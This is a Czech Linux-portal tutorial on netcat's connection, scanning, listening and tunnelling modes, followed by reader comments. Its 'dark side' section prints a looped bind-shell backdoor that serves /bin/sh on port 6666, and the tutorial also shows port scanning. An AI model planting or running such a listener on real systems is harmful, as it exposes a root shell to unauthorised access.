abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×
    včera 17:33 | Nová verze

    Canonical vydal (email, blog, YouTube) Ubuntu 24.04 LTS Noble Numbat. Přehled novinek v poznámkách k vydání a také příspěvcích na blogu: novinky v desktopu a novinky v bezpečnosti. Vydány byly také oficiální deriváty Edubuntu, Kubuntu, Lubuntu, Ubuntu Budgie, Ubuntu Cinnamon, Ubuntu Kylin, Ubuntu MATE, Ubuntu Studio, Ubuntu Unity a Xubuntu. Jedná se o 10. LTS verzi.

    Ladislav Hagara | Komentářů: 4
    včera 14:22 | Komunita

    Na YouTube je k dispozici videozáznam z včerejšího Czech Open Source Policy Forum 2024.

    Ladislav Hagara | Komentářů: 0
    včera 13:22 | Nová verze

    Fossil (Wikipedie) byl vydán ve verzi 2.24. Jedná se o distribuovaný systém správy verzí propojený se správou chyb, wiki stránek a blogů s integrovaným webovým rozhraním. Vše běží z jednoho jediného spustitelného souboru a uloženo je v SQLite databázi.

    Ladislav Hagara | Komentářů: 0
    včera 12:44 | Nová verze

    Byla vydána nová stabilní verze 6.7 webového prohlížeče Vivaldi (Wikipedie). Postavena je na Chromiu 124. Přehled novinek i s náhledy v příspěvku na blogu. Vypíchnout lze Spořič paměti (Memory Saver) automaticky hibernující karty, které nebyly nějakou dobu používány nebo vylepšené Odběry (Feed Reader).

    Ladislav Hagara | Komentářů: 0
    včera 04:55 | Nová verze

    OpenJS Foundation, oficiální projekt konsorcia Linux Foundation, oznámila vydání verze 22 otevřeného multiplatformního prostředí pro vývoj a běh síťových aplikací napsaných v JavaScriptu Node.js (Wikipedie). V říjnu se verze 22 stane novou aktivní LTS verzí. Podpora je plánována do dubna 2027.

    Ladislav Hagara | Komentářů: 0
    včera 04:22 | Nová verze

    Byla vydána verze 8.2 open source virtualizační platformy Proxmox VE (Proxmox Virtual Environment, Wikipedie) založené na Debianu. Přehled novinek v poznámkách k vydání a v informačním videu. Zdůrazněn je průvodce migrací hostů z VMware ESXi do Proxmoxu.

    Ladislav Hagara | Komentářů: 0
    včera 04:11 | Nová verze

    R (Wikipedie), programovací jazyk a prostředí určené pro statistickou analýzu dat a jejich grafické zobrazení, bylo vydáno ve verzi 4.4.0. Její kódové jméno je Puppy Cup.

    Ladislav Hagara | Komentářů: 0
    24.4. 22:44 | IT novinky

    IBM kupuje společnost HashiCorp (Terraform, Packer, Vault, Boundary, Consul, Nomad, Waypoint, Vagrant, …) za 6,4 miliardy dolarů, tj. 35 dolarů za akcii.

    Ladislav Hagara | Komentářů: 12
    24.4. 15:55 | Nová verze

    Byl vydán TrueNAS SCALE 24.04 “Dragonfish”. Přehled novinek této open source storage platformy postavené na Debianu v poznámkách k vydání.

    Ladislav Hagara | Komentářů: 0
    24.4. 13:44 | IT novinky

    Oznámeny byly nové Raspberry Pi Compute Module 4S. Vedle původní 1 GB varianty jsou nově k dispozici také varianty s 2 GB, 4 GB a 8 GB paměti. Compute Modules 4S mají na rozdíl od Compute Module 4 tvar a velikost Compute Module 3+ a předchozích. Lze tak provést snadný upgrade.

    Ladislav Hagara | Komentářů: 0
    KDE Plasma 6
     (73%)
     (9%)
     (2%)
     (17%)
    Celkem 763 hlasů
     Komentářů: 4, poslední 6.4. 15:51
    Rozcestník

    Netcat - Švýcarský armádní nůž pro TCP/IP

    23. 5. 2012 | Petr Los | Návody | 12438×

    Říká se mu „Swiss-army knife for TCP/IP “ – Švýcarský armádní nůž pro TCP/IP. Samozřejmě mluvím o dobře známém Netcatu. Jedná se o síťový nástroj primárně určený pro zápis a čtení z TCP nebo UDP roury (socketu). Ale jeho dnešní implementace zvládají i celou řadu jiných užitečných věcí.

    Obsah

    Úvod

    link

    Říká se mu „Swiss-army knife for TCP/IP “ – Švýcarský armádní nůž pro TCP/IP. Samozřejmě mluvím o dobře známém Netcatu. Jedná se o síťový nástroj primárně určený pro zápis a čtení z TCP nebo UDP roury (socketu). Ale jeho dnešní implementace zvládají i celou řadu jiných užitečných věcí.

    Od Hobbitova Netcatu k současným implementacím

    link

    Autorem původního Netcatu je Hobbit. První verze Netcatu vyšla v roce 1995 pod Permissive free software licencí. Původní Netcat byl navržen jako síťová analogie programu cat. Poslední verze Hobbitova Netcatu (1.1) vyšla v březnu roku 1996 a lze ji stáhnout kupříkladu na sourceforge.net. Od té doby vznikla celá řada implementací Netcatu, asi nejrošířenější je GNU Netcat od Giovanni Giacobbiho. Cílem GNU Netcatu je plná kompatibilita s originálním Netcatem (1.1) od Hobbita. Poslední verze GNU Netcatu (0.7.1) vyšla 11. ledna 2004. Za zmínku stojí také Netcat6 (nc6), který plně podporuje IPv6 a mnoho dalších voleb. Další zajímavou implementací Netcatu je Ncat Chrise Gibsona, jedná se o vylepšenou verzi originálního Netcatu s podporou IPv6, SSL, proxy pomocí SOCKS4 protokolu, HTTP – CONNECT metody a v neposlední řadě i možností vytvořit řetěz Ncatů velice jednoduše.

    GNU Netcat

    link

    V následujících příkladech budu používat GNU Netcat, který buď najdete v repozitáři své oblíbené distribuce anebo zde.

    V první řadě je třeba zmínit, že GNU Netcat (dále jen Netcat) se používá ve čtyřech základních módech:

    • Mód připojení (connection mode).
    • Mód skenování (port scan)
    • Mód naslouchání (listen mode).
    • Mód tunelování (tunnel mode).

    Další použití a implementace Netcatu:

    • Netcat jako Telnet klient.
    • Pár zajímavostí z nc6 .
    • Něco z temné strany.

    Mód připojení

    link

    Jedná se nejspíš o nejpoužívanější funkci v Netcatu vůbec. Ukážeme si, jak lze pomocí Netcatu prolétnout poslední poštu.

    sh1# netcat -v mail.xxxxxxx.cz
    +OK mail.xxxxxxx.cz xxxxxxx.cz Mail server 2.7 POP3
    USER elch@xxxxxxx.cz
    +OK elch@xxxxxxx.cz
    PASS *****************
    +OK 29 messages (1597217) octets
    LIST
    1 4676
    2 5528
    ....
    RETR 29
    ***Message***
    QUIT 
    +OK mail.xxxxxxx.cz closing connection
    

    Parametr -v zajištuje, že je výstup přesměrován na stderr. Obecně tuto možnost volíme, pokud chceme od Netcatu, aby vracel nějaké informace o svém stavu.

    Při použití -vv je Netcat ještě „ukecanější“.

    Dalším dobrým příkladem použití módu připojení Netcatu je jednoduché příjmání dat. Předpokládejme, že na portu 30000 naslouchá server, co nám chce poslat soubor zabalený pomocí gzip.

    sh1# netcat -v localhost 30000|gzip -cd > file
    

    analogicky

    sh1# netcat -v -s 127.0.0.1 30000|gzip -d > file
    

    Soubor byl na straně serveru zkopmprimován a poté zapsán do síťové roury (socketu). Jakmile se Netcat k síťovému socketu připojil a začal z něj číst, přišla mu na výstup komprimovaná data, která jsme přesměrovali na vstup gzipu. Problém však nastává při ukončování komunikace. Netcat totiž na rozdíl od jiných aplikací ignoruje EOF, takže nám nezbyde nic jiného než po chvíli ukončit spojení pomocí Ctrl+c .Toto se na první pohled může zdát jako komplikace, ale s trochou selského rozumu a lehkou matematikou si můžeme spočítat, jak dlouho máme na soubor určité velikosti čekat. Netcat musí ignorovat EOF, jinak by nemohl být bez znovuspouštění použit pro přesměrování celé komunikace. Nyní pomocí Netcatu odešleme data na server, který běží na lokálním stroji řekněme, že opět na portu 30000.

    sh1# netcat localhost 30000 < file.gz
    

    Toto řešení se hodí například pokud máme na stroji za routrem nějaká data, která chceme dostat na server, na jehož portu 30000 beží netcat v módu naslouchání.

    Netcat podporuje implicitně dva síťové protokoly: TCP a UDP. Výše uvedené příklady defaultně používají TCP protokol, pokud bysme chtěli použít UDP protokol, je třeba dodat netcatu parametr -u (--udp)

    Mód skenování

    link

    Nesmíme zapomenout, že netcat podporuje i skenování portů. I když je dnes na „trhu“ spousta port skenerů pro různé platformy, pokud potřebujete něco rychle oskenovat a například nmap není po ruce, může se i tato funkce hodit.

    sh1# netcat -vv -z -n 127.0.0.1 20-22
    

    Pro skenování se používá parametr -z (I/O Zero mode). Funguje to tak, že netcat na daném rozsahu portů (20-30) postupně připojí na hosta a v módu TCP provede pouze potřesení rukou (handshake) a pak se ukončí. V Módu UDP dojde k odeslání malého množství dat.

    Pro změnu používám parametr -n, který je zapotřebí chceme-li použít numerický zápis IPv4.

    Při použití parametru -r < rozsah portu > se skenovaní provádí v pseudo-náhodném pořadí.

    Mód naslouchání

    link

    Netcat v tomto módu naslouchá (parametr -l) na portu určeným parametrem -p < port > a čeká na připojení klienta. Jakmile dojde k navázání komunikace s klientem, Netcat výstup z roury (socketu) přesměruje na stdout a stdin z konzole přesměruje do roury (socketu).

    sh1# netcat -l -p 15000
    

    Takto vypadá nejzákladnější příklad použití Netcatu v modu naslouchání. Protokolem komunikace je implicitně TCP/IP.

    sh1# netcat -l -u -p 15000
    

    nebo

    sh1# netcat -l --udp -p 15000 
    

    Ve výše uvedeném příkladu je Netcat opět v módu naslouchání s tím rozílem, že za protkol komunikace jsme zvolili UDP.

    Jako příklad se nám bude hodit server, který příjme data dekomprimuje je výstup přesměruje do souboru. V podstatě se jedná o serverový protějšek demonstrací se zasíláním souborů.

    sh1# netcat -lp 30000|gzip -d > file
    

    Funguje to tak, že Netcat otevře socket na lokalní adrese a portu a poté čeká při příchozím spojení na námi definovaném portu, za předpokladu, že klient komunikuje na stejném protokolu, Netcat akceptuje příchozí spojení. Po akceptování příchozí komunikace se začnou příjmat data (pokud klient něco pošle), jež jsou pomocí systémové roury („pajpy“) přesměrována přímo na vstup gzip, který je díky parametru -d dekomprimuje. Následně je výstup z gzip přesměrován do souboru file.

    Mód tunelování

    link

    Tunelování je u klasické verze Netcatu pouze o směrování vstupu a výstupu mezi Netcatem v naslouchacím módu a v módu připojení. U novějších klonů Netcatu jsou dostupné volby, kterými požadovaný vstup přesměrujete jinam. Skvělým příkladem reálně použitelné aplikace Netcatu je most mezi protokoly TCP a UDP.

    sh1# netcat -l -p 30001|netcat -u cilovy_udp_server 30000
    

    Výše uvedený příklad je typem klasického tunelování. Netcat server čeká, až se nějaký TCP klient připojí na port 30001 a začne posílat data. Ta jsou rourou přesměrována do vstupu Netcat clienta, který je připojen na UDP port cílového serveru. Toto lze dobře otestovat i lokálně:

    sh1# netcat --tcp  localhost 30001
    sh2# netcat --udp -l -p 30000
    

    Problém s jednosměrnou komunikací je řešen v následujícím příkladu přidáním další roury, která bude zvládat zpětnou komunikaci:

    sh1# mkfifo /tmp/pipe 
    

    nebo

    sh1# mknod /tmp/pipe p
    sh1# netcat -l -p 30000 < /tmp/pipe|netcat -u cilovy_udp_server 30001 > /tmp/pipe
    

    Demonstraci této funkce lze provést naprosto přesně jako u předchozího příkladu. Další ukázkou využití Netcatu je TCP – UDP relé.

    sh1# netcat -lp 30000 < /tmp/pipe |netcat -u -lp 30001 > /tmp/pipe
    

    Analogicky se dají dělat tvořit jiné zajímavé kombinace. V případě, že si potřebujete pustit nějaké video popřípadě film vzdáleně.

    sh1# netcat -l -p 30000 < movie.avi
    

    Opět pro jednoduchost provádím demonstraci lokálně.

    sh1# netcat localhost 30000| mplayer -cache 4096 -
    

    Výstup Netcatu je presměrován pomocí roury na stdin MPlayeru, pomocí '-' „říkáme“ MPlayeru, aby začal přehrávat, to co má na standardním vstupu (stdin).

    V podobných případech se opravdu hodí použít parametr MPlayeru: -cache pro plynulost.

    Netcat jako Telnet klient

    link

    Nejspíš je dobré zmínit, jak netcat použít k připojení se k Telnet serveru:

    sh1# netcat -t telnetServer 
    

    Pomocí Netcatu se dá snadno naskriptovat i Telnet server.

    Další použití a implementace Netcatu

    link

    Rozšířený nc6

    link

    Tato implementace Netcatu podporuje k již známým funkcím GNU Netcat IPv6, možnost nastavení velikosti zasobníku, možnost vypnutí Nagleho algoritmu a pár dalších věcí. Rád bych některé z nich zmínil:

    IPv6 v Netcatu

    link

    Níže je uveden příklad jednoduchého použití nc6 s využitím IPv6 v módu nasluchání a připojení:

    sh1# nc -6 -lp 20000
    sh2# nc -6 ::1 20000
    

    Princip komunikace je naprosto stejný jako u GNU Nectatu s tím rozdílem, že používá IPv6 namísto protokolu IPv4.

    Nastavení velikosti zásobníku v nc6

    link

    Defaultně je velikost zásobníku nc6 nastavena na 8KB pro TCP a 128KB pro UDP protokol. Toto nastavení je naprosto dodstačující pro skenování nebo posílání drobných souborů. Nicméně při přesunu větších souborů nebo při použití UDP protokolu se známou velikostí datagramu v bajtech je dobré mít možnost velikost zásobníku trochu poladit. Pro příklad řeknu, že velikost datagramu (jde o součet velikosti dat a konstantní velikosti hlavíčky) bude 0xFFFF a nastavím na tu samou hodnotu velikost zásobníku, pak každý datagram bude přečtený právě jedním systémovým voláním. Což celý proces komunikace zoptimalizuje.

    S nastavením velikosti zásobníku přímo souvisí parametr -x (analogicky --transfer), který se používá pro transfér vetšího počtu dat. Tento parametr je ekvivalentní volbě --recv-only nebo --send-only --buffer-size=65536 .

    V tomto případě závisí na způsobu použití nc6.

    Příklad použití volby -x v módu naslouchání – čekání na příchozí data na portu 20000:

    sh1# nc -x -lp 20000
    

    Možnost vypnutí podpory Nagleho algoritmu

    link

    Nagleho algoritmus (Nagle's algorithm) snižuje množství odeslaných paketů při použití TCP protokolu. Respektive snižuje potřebu odesílat je tak často, protože se snaží každý paket plnit, dokud nepřijde informace o příjetí předchozího paketu od příjemce zpět k odesílateli. Pokud se tedy snažíme odeslat data, která nenacpeme do jednoho paketu a Nagleho algoritmus není vypnut, dojde k prodlevě mezi tím, než příjemce obdrží paket odešle odpověď a odesílateli odpověď dojde.

    Takže pokud máte například dva servery spojeny kabelem a potřebujete překopírovat nějaký větší soubor, může vypnutí Nagleho algoritmu urychlit přesun dat.

    sh1# cat bigFile|nc --disable-nagle -x cilovyServer < cilovyPort >
    

    Něco z temné strany:

    link

    Snadno odhalitelný backdoor.

    sh1# while true ;do netcat -lp 6666 -e /bin/sh ; done &
    

    Bez použití while v nc6:

    sh1# nc --continuous -lp 6666 -e /bin/sh amp;
    

    Netcat naslouchá na portu 6666 a při připojení klienta se pustí /bin/sh. Jakmile se spojení ukončí, Netcat začne opět naslouchat.

    Závěr

    link

    O různých implementacích Netcatu s různými rozšířeními a jejich podrobným popisem by se dala napsat celá kniha. Snaha byla shrnout nějaké základy pro uživatele, kteří s Netcatem ještě neměli tu čest. A zároveň se pokusit objasnit některé složitější funkce nebo ne až tak dobře popsané možnosti nových implementací Netcatu. Pokud bude zájem, příště se podívám důkladně na bluetooth podporu Netcatu6, představím Cryptcat, Ncat a Socat.

           

    Hodnocení: 96 %

            špatnédobré        

    Nástroje: Tisk bez diskuse

    Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

    Komentáře

    Vložit další komentář

    23.5.2012 11:17 Michal Kubeček | skóre: 72 | Luštěnice
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP

    V některých distribucích se lze potkat i s OpenBSD verzí netcatu, která má (mimo jiné) odlišnou syntaxi pro listen mode:

      netcat -l <port>
    
    23.5.2012 11:41 jbohac | skóre: 19 | Praha 5
    Rozbalit Rozbalit vše socat
    netcat je jen rozviklaná orezlá rybička proti opravdovému švýcarskému noži -- programu socat. Nemá cenu se tu snažit popisovat co umí - umí totiž ohledně posílání dat ze socketu do socketu všechno co si dovedete představit. Pozor, při pohledu na manuálovou stránku na vás možná půjdou mdloby ;)
    David Watzke avatar 23.5.2012 11:49 David Watzke | skóre: 74 | blog: Blog... | Praha
    Rozbalit Rozbalit vše Re: socat
    To je slušná roštovačka. Ale chválím teda autora manuálu, protože většina programů má sekci "EXAMPLES" pěkně odfláknutou.
    “Being honest may not get you a lot of friends but it’ll always get you the right ones” ―John Lennon
    Elch avatar 23.5.2012 11:55 Elch | skóre: 6
    Rozbalit Rozbalit vše Re: socat
    Souhlasím se srovnáním Netcat vs. Socat . Ale přišlo mi logické, s ohledem na historickou posloupnost, napsat článek první o Netcatu a na Socat si vzít v budoucnu měsíc volna :) Navíc používání programu Socat také není pro každého, právě kvůli jeho komplexitě.
    24.5.2012 03:54 kdosi
    Rozbalit Rozbalit vše Re: socat
    A opravdovym svycarskym nozem je mysleno toto: Opravdovy svycarsky nuz
    24.5.2012 11:05 Peter S.
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Vďaka za článoček, o netcate som vedel že existuje čo asi robí ale to bolo všetko.

    Takže vyskúšal som si toto: (na jednom stroji)
    echo "ahoj" | netcat -l -p 3000    # ~odosielateľ správy
    netcat localhost 3000 | cat        # ~prijimateľ správy
    funguje to pekne, ale ked "ctrl+c" ktorúkoľvek stranu, tak spadne aj druhá - čo je samozrejme správne. No a ja by som chcel aby to fungovalo tak že na jednej strane by bežal "príjimateľ správy", ten by bežal trvalo a na druhej trane by "odosielateľ" správy iba zbehol a skončil.

    A teda mohol by som opakovanie takto posielať správy.

    Zaujíma ma to čisto teoreticky nemám momentálne na to žiadne využitie...
    Elch avatar 24.5.2012 12:14 Elch | skóre: 6
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Ve vašem případě bych to řešil smyčkou. To co chete je v podstatě analogie části "Něco z temné strany" konkrétně smyčka while bez parametru -e . Pokud chcete můžete nechat netcat bežet i na pozadí, ale pak je třeba přesměrovat výstup třeba do souboru. Popřípadě můžete nahodit nc6 a použít parametr --continuous.
    24.5.2012 12:40 Peter S.
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    No nejde to.

    Ked sa pokušam spustiť "prijmateľa", tak dostanem toto:
    while true; do netcat localhost 3000 | cat; done
    localhost [127.0.0.1] 3000 (?) : Connection refused
    localhost [127.0.0.1] 3000 (?) : Connection refused
    localhost [127.0.0.1] 3000 (?) : Connection refused
    localhost [127.0.0.1] 3000 (?) : Connection refused
    localhost [127.0.0.1] 3000 (?) : Connection refused
    localhost [127.0.0.1] 3000 (?) : Connection refused
    localhost [127.0.0.1] 3000 (?) : Connection refused
    localhost [127.0.0.1] 3000 (?) : Connection refused
    ^Clocalhost [127.0.0.1] 3000 (?) : Connection refused
    
    teda nekonečný sled týchto hlášok... A z princípu v tom mojom scénari, prijmateľ musí bežať prvý/stále...
    Elch avatar 24.5.2012 13:23 Elch | skóre: 6
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Měl jsem na mysli něco takového:
    while true;do netcat -lp 6000 >> MSGs; done  # naslouchá příjmá a zapisuje zprávy pod sebe do souboru
    echo "Ahoj"|netcat localhost 6000            # posílá zprávy
    
    24.5.2012 13:55 Peter S.
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    aha, tak toto funguje už takmer dobre, s dvoma malými problémami:

    odosielateľ správy musí byť zabitý s "ctrl+c", lebo proste prompt nevráti...

    a naopak prijmateľa nie je možné normálne zabiť asi kvôli tomu že je v slučke. Ale povedzme že mi to stačí a v prípade potreby by som ešte dačo vyšpekuloval. Vďaka
    14.8.2012 22:08 JanM | skóre: 28
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    zkuste k odesílateli přidat parametr -c, alespoň na arch linuxu jsem se dost natrápil zkoumáním, proč netcat neukončí spojení.
    Josef Kufner avatar 24.5.2012 18:45 Josef Kufner | skóre: 70
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Na to máme inetd.
    Hello world ! Segmentation fault (core dumped)
    24.5.2012 14:02 František Bublík | skóre: 16
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Díky za článek, tyhle malé prográmky miluju a rád si s nimi zahrávám. Jen si prosím Petře oprav slovo "zapotřebý" ;-) Zdravím Franta
    Elch avatar 24.5.2012 14:17 Elch | skóre: 6
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Díky Franto, omlouvám se za hrubku, "občas" ( velice často ) je prostě nevidím. Už jsem tu chybu nahlásil.
    David Watzke avatar 24.5.2012 14:26 David Watzke | skóre: 74 | blog: Blog... | Praha
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Opraveno.
    “Being honest may not get you a lot of friends but it’ll always get you the right ones” ―John Lennon
    Otto Šabart avatar 24.5.2012 18:08 Otto Šabart | skóre: 13 | blog: KatiePC blog
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Super clanek a krasna ukazka netcatu:-). Urcite bych ocenil pokracovani o dalsich podobnych utilitkach.:-)
    *´¨)¸.·´¨)¸.·***·>>> www.seberm.com
    24.5.2012 22:45 Radovan Garabík
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Drobná pripomienka: "Permissive free software license" nie je názov licencie, ale opis jej vlastnosti...
    26.5.2012 12:29 sZtorkie | nmnm
    Rozbalit Rozbalit vše pozor na nekorektni chovani GNU nc(1)
    Pokud by se nekomu zdalo, ze GNU netcat nefunguje korektne na konci vaseho vstupu, prectete si tohle:

    http://www.mail-archive.com/tech@openbsd.org/msg07804.html
    Nothing works! That's not the way things work. (Leo Kottke)
    26.5.2012 13:09 Semo | skóre: 45 | blog: Semo
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Prinajmensom v bashi funguje presmerovanie na /dev/tcp/hostname.domain/port (napr. /dev/tcp/google.com/80. Podobne s udp. Cim sa da nahradit pouziteie netcatu ako odosielacieho toolu a rovnako nie je problem s nutnostou zabijat cez Ctrl-c.
    If you hold a Unix shell up to your ear, you can you hear the C.
    pavlix avatar 26.5.2012 13:17 pavlix | skóre: 54 | blog: pavlix
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Nefunguje. Fedora 17, kernel 3.3.4.
    Já už tu vlastně ani nejsem. Abclinuxu umřelo.
    27.5.2012 10:27 Semo | skóre: 45 | blog: Semo
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    V 1. terminale:
    netcat -l -p 3333
    V 2. terminale:
    echo aaaa >/dev/tcp/localhost/3333
    V 1. sa vypise text aaaa a netcat sa ukonci. Co nefunguje?
    If you hold a Unix shell up to your ear, you can you hear the C.
    pavlix avatar 27.5.2012 11:22 pavlix | skóre: 54 | blog: pavlix
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Aha. No chtěl jsem se podívat s čím se to vlastně bavím (očekával jsem unix socket), takže...
    [pavlix@dragon ~]$ ls -l /dev/tcp/google.com/80
    ls: cannot access /dev/tcp/google.com/80: No such file or directory
    [pavlix@dragon ~]$ ls -l /dev/tcp/google.com
    ls: cannot access /dev/tcp/google.com: No such file or directory
    [pavlix@dragon ~]$ ls -l /dev/tcp
    ls: cannot access /dev/tcp: No such file or directory
    
    Navíc mi nefunguje ani oboustranná komunikace (přesněji řečeno nevím jak na ni).
    [pavlix@dragon ~]$ socat /dev/tcp/google.com/80 -
    2012/05/27 11:19:52 socat[17521] E open("/dev/tcp/google.com/80", 0102, 0666): No such file or directory
    
    Přijde mi, že autor tohoto asi nepřemýšlel hlavou. Nebo ani ne tak autor, ten si možná prostě jenom po večerech hrál, hrál, až došel do fáze proof of concept. Spíš ten, kdo tuhle „feature“ zařadil.
    Já už tu vlastně ani nejsem. Abclinuxu umřelo.
    27.5.2012 15:49 Ash | skóre: 53
    Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
    Se týká jen přesměrování, takže s ls nebo socat to nefunguje. Sokety můžete i zakázat.

    To /dev/{tcp,udp} je asi fakt spíš hračka.

    Mnohem užitečnější než náhrada wget, netcat či socat touhle věcí je asi /dev/fd/0 resp. /dev/stdin apod., což umožní předat standardní vstup/výstup i programům, které - neumí.

    Založit nové vláknoNahoru

    ISSN 1214-1267   www.czech-server.cz
    © 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.